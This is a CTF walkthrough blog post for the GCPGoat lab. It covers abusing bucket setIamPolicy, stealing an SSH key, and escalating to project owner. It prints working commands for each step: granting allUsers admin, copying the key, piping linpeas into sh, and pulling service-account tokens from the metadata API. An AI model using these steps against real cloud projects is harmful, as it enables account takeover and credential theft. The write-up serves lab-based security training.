GCPGoat(ine) GCP CTF solution Module 1-Path 1(abusing storage buckets permissions, privesc to role/owner)

n00🔑
7 min readDec 30, 2022

--

Hi readers, here we will be solving the GCPGoat module 1(Path 1).

We will be going through the first path in this walk-through as shown in the diagram below.

Video Walk-through:

https://www.youtube.com/watch?v=cM46_c-zxh4

Solving Challenge-

  1. Finding storage buckets being used by web app-

a. In the previous path (https://www.youtube.com/watch?v=dtLg4Z8bHNk&t=498s), we found a GCP storage bucket in save image from url functionality-

https://storage.googleapis.com/function-bucket-747e0118981a6000/images/20221230150416627191.png

Bucket Name: function-bucket-747e0118981a6000

b. Upon checking the burp’s target sitemap

We found one more storage bucket-

https://storage.googleapis.com/prod-blogapp-747e0118981a6000/images/20220525172652548627.png

Bucket Name: prod-blogapp-747e0118981a6000

Guessing the bucket name dev-blogapp-747e0118981a6000

and this exists as well

curl "https://storage.googleapis.com/dev-blogapp-747e0118981a6000"

<?xml version='1.0' encoding='UTF-8'?><Error><Code>AccessDenied</Code><Message>Access denied.</Message><Details>Anonymous caller does not have storage.objects.list access to the Google Cloud Storage bucket. Permission 'storage.objects.list' denied on resource (or it may not exist).</Details></Error>

We got an access denied error for the “storage.objects.list” permissions. If bucket didn’t exist we get-

2. Checking buckets permissions-

https://www.googleapis.com/storage/v1/b/<BUCKET_NAME>/iam/testPermissions?permissions=storage.buckets.delete&permissions=storage.buckets.get&permissions=storage.buckets.getIamPolicy&permissions=storage.buckets.setIamPolicy&permissions=storage.buckets.update&permissions=storage.objects.create&permissions=storage.objects.delete&permissions=storage.objects.get&permissions=storage.objects.list&permissions=storage.objects.update

Note: We can also add more permissions that you want to test to this as GET parameters.

function-bucket-747e0118981a6000
prod-blogapp-747e0118981a6000
dev-blogapp-747e0118981a6000

You can also use this tool https://github.com/RhinoSecurityLabs/GCPBucketBrute

for enumerating permissions.

Going through the documentation https://cloud.google.com/storage/docs/json_api/v1/objects/get we can understand what is the meaning of each of these.

"permissions": [
"storage.buckets.getIamPolicy",
"storage.buckets.setIamPolicy",
"storage.objects.get"
]

3. Abusing “storage.buckets.setIamPolicy” for dev-blogapp-747e0118981a6000

a. First, we can check the current IAM policy for all users (https://cloud.google.com/storage/docs/json_api/v1/buckets/getIamPolicy)

https://storage.googleapis.com/storage/v1/b/dev-blogapp-747e0118981a6000/iam

b. Giving everyone admin access to dev-blogapp-747e0118981a6000 bucket-

For this we either directly send the modified JSON via a PUT request to https://storage.googleapis.com/storage/v1/b/dev-blogapp-747e0118981a6000/iam?alt=json

As described in docs here https://cloud.google.com/storage/docs/json_api/v1/buckets/setIamPolicy


curl -i -s -k -X $'PUT' \
-H $'Host: storage.googleapis.com' -H $'Content-Length: 424' -H $'User-Agent: apitools Python/3.9.12 gsutil/5.17 (linux) analytics/disabled interactive/True command/iam google-cloud-sdk/412.0.0' -H $'Accept: application/json' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/json' \
--data-binary $'{\"bindings\": [{\"members\": [\"allUsers\"], \"role\": \"projects/gcp-goat-747e0118981a6000/roles/development\"}, {\"members\": [\"projectEditor:gcp-goat-747e0118981a6000\", \"projectOwner:gcp-goat-747e0118981a6000\"], \"role\": \"roles/storage.legacyBucketOwner\"}, {\"members\": [\"projectViewer:gcp-goat-747e0118981a6000\"], \"role\": \"roles/storage.legacyBucketReader\"}, {\"members\": [\"allUsers\"], \"role\": \"roles/storage.admin\"}], \"etag\": \"CAI=\"}' \
$'https://storage.googleapis.com/storage/v1/b/dev-blogapp-747e0118981a6000/iam?alt=json'
{
"bindings": [
{
"members": [
"allUsers"
],
"role": "projects/gcp-goat-747e0118981a6000/roles/development"
},
{
"members": [
"projectEditor:gcp-goat-747e0118981a6000",
"projectOwner:gcp-goat-747e0118981a6000"
],
"role": "roles/storage.legacyBucketOwner"
},
{
"members": [
"projectViewer:gcp-goat-747e0118981a6000"
],
"role": "roles/storage.legacyBucketReader"
},
{
"members": [
"allUsers"
],
"role": "roles/storage.admin"
}

],
"etag": "CAI="
}

OR we can use gsutil-

gsutil iam ch allUsers:admin gs://dev-blogapp-747e0118981a6000

4. Now again we can check the permissions for dev-blogapp-747e0118981a6000 bucket-

We have successfully compromised dev-blogapp-747e0118981a6000 bucket we can try to list all the files and folders in the bucket.

5. Getting access to a server via ssh-

a. Finding ssh keys-

We also found a “config.txt” in .ssh folder which is interesting as this is a non-default file. Let’s read this-

gsutil cat gs://dev-blogapp-747e0118981a6000/shared/files/.ssh/config.txt

b. Finding live hosts running ssh-

Among all these IPs we can try to find which of them is running ssh server.

35.247.116.205
10.25.14.6
34.207.133.229
10.25.14.106
172.16.84.59
172.16.87.25
172.22.26.8
10.0.48.71

nmap 35.247.116.205 10.25.14.6 34.207.133.229 10.25.14.106 172.16.84.59 172.16.87.25 172.22.26.8 10.0.48.71 -p 22 -n -Pn --disable-arp-ping --open

c. ssh server is up and running on 35.247.116.205 which is IP of computer with hostname “justin” and ssh key-

/shared/files/.ssh/keys/justin.pem

Let’s get this file

gsutil cp gs://dev-blogapp-747e0118981a6000/shared/files/.ssh/keys/justin.pem /tmp/

This is a private ssh key!, which means we can try to authenticate using this.

ssh justin@35.247.116.205 -i justin.pem -o StrictHostKeyChecking=no

6. Enumerating the server-

a. Running linpeas-

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

We got to know some info about this mac

Project-ID: gcp-goat-747e0118981a6000
Project Number: 386337735718
All Project Attributes: {}
Hostname: developer-vm.us-west1-c.c.gcp-goat-747e0118981a6000.internal
Instance ID: 3217227616532769476
Instance Image: projects/ubuntu-os-cloud/global/images/ubuntu-1804-bionic-v20221201
Machine Type: projects/386337735718/machineTypes/e2-micro
Instance Name: developer-vm
Zone: projects/386337735718/zones/us-west1-c

b. Checking .config and finding gcloud config files-

c. Testing whether gcloud CLI is available or not-

d. Listing configured accounts-

e. Checking access scope for the VM using metadata API-

We have compute in access scope. We can try to run common compute commands.

f. Checking roles associated with the current service account(CHEATING RUNNING this with admin account :)-

gcloud projects get-iam-policy gcp-goat-747e0118981a6000  --flatten="bindings[].members" --format='table(bindings.role)' --filter="bindings.members:386337735718-compute"
#gcloud projects get-iam-policy <Project name> --flatten="bindings[].members" --format='table(bindings.role)' --filter="bindings.members:<account name>"

Our service account has editor role!!

f. Listing other compute instances and trying to log in to them-

# It's interesting to know which zones are being used
gcloud compute regions list | grep -E "NAME|[^0]/"

# List compute instances & get info
gcloud compute instances list

g. Let’s try to ssh into admin-vm-

gcloud compute ssh admin-vm

We got logged into admin-vm !!

7. Enumerating admin-vm-

admin-service-account
cloud-platform access scope
role/owner

and we got Administrator access in GCP!!

Thanks for reading!

Bonus: Intercepting gcloud/gsutil traffic in burp

gcloud config set proxy/type http
gcloud config set proxy/address 127.0.0.1
gcloud config set proxy/port 8080
gcloud config set core/custom_ca_certs_file /usr/local/share/ca-certificates/burp.crt
#makr sure to use PEM format certificate

Meta-data API Enumeration-

A. Getting Everything-

curl -H "X-Google-Metadata-Request: True" "http://169.254.169.254/computeMetadata/v1/?recursive=true&alt=text"

B. Getting the default service account’s account token-

curl -H "X-Google-Metadata-Request: True" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token?alt=json"
#OR we can specify service account in place of default
curl -H "X-Google-Metadata-Request: True" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/732392794983-compute@developer.gserviceaccount.com/token?alt=json"
OR
gcloud auth print-access-token

C. Token info-

curl "https://oauth2.googleapis.com/tokeninfo?access_token=<token>"

curl "https://oauth2.googleapis.com/tokeninfo?access_token=ya29.c.b0AT7lpjAj-THOBJ7iZhyTs6XrkanYwrLXibrf6irkwSG1Av4pMETyXqPRhd3N281eeif-_EyIy5MV6MmS8YVPJsb0_q4S8cioAeUMLzVKHfSJZyaW8JJ6Rd2lsMNyvUqjMT41_Nc1Ex_1qLtzBCD2u_wXH3o-8g1dozwADFMdXGBQ7RdhLNAZRlP6EN3yCwvYgOFH19C-6MgY0ewgUh6ShwXIyDXf"

D. Using token for running gcloud commands-

gcloud compute instances list --access-token-file=/tmp/token --project gcp-goat-bb1c12d8431e9aff
OR
gcloud compute instances list --access-token-file=/tmp/token --project <project_id>

OR

gcloud config set auth/access_token_file /tmp/token

References:

https://github.com/ine-labs/GCPGoat/blob/main/solutions/module-1/02-Misconfigured%20Storage%20Bucket%20Policies.md

https://rhinosecuritylabs.com/gcp/google-cloud-platform-gcp-bucket-enumeration/

https://cloud.hacktricks.xyz/pentesting-cloud/gcp-pentesting/gcp-basic-information

https://cloud.hacktricks.xyz/pentesting-cloud/gcp-pentesting/gcp-services/gcp-compute-instances-enum

https://cloud.hacktricks.xyz/pentesting-cloud/gcp-pentesting/gcp-unauthenticated-enum/gcp-public-buckets-privilege-escalation

https://cloud.google.com/storage/docs/json_api/v1/objects/get

https://github.com/RhinoSecurityLabs/GCPBucketBrute

--

--

n00🔑
n00🔑

Written by n00🔑

Computer Security Enthusiast. Usually plays HTB (ID-23862). https://www.youtube.com/@pswalia2u https://www.linkedin.com/in/pswalia2u/ Instagram @pswalia4u

No responses yet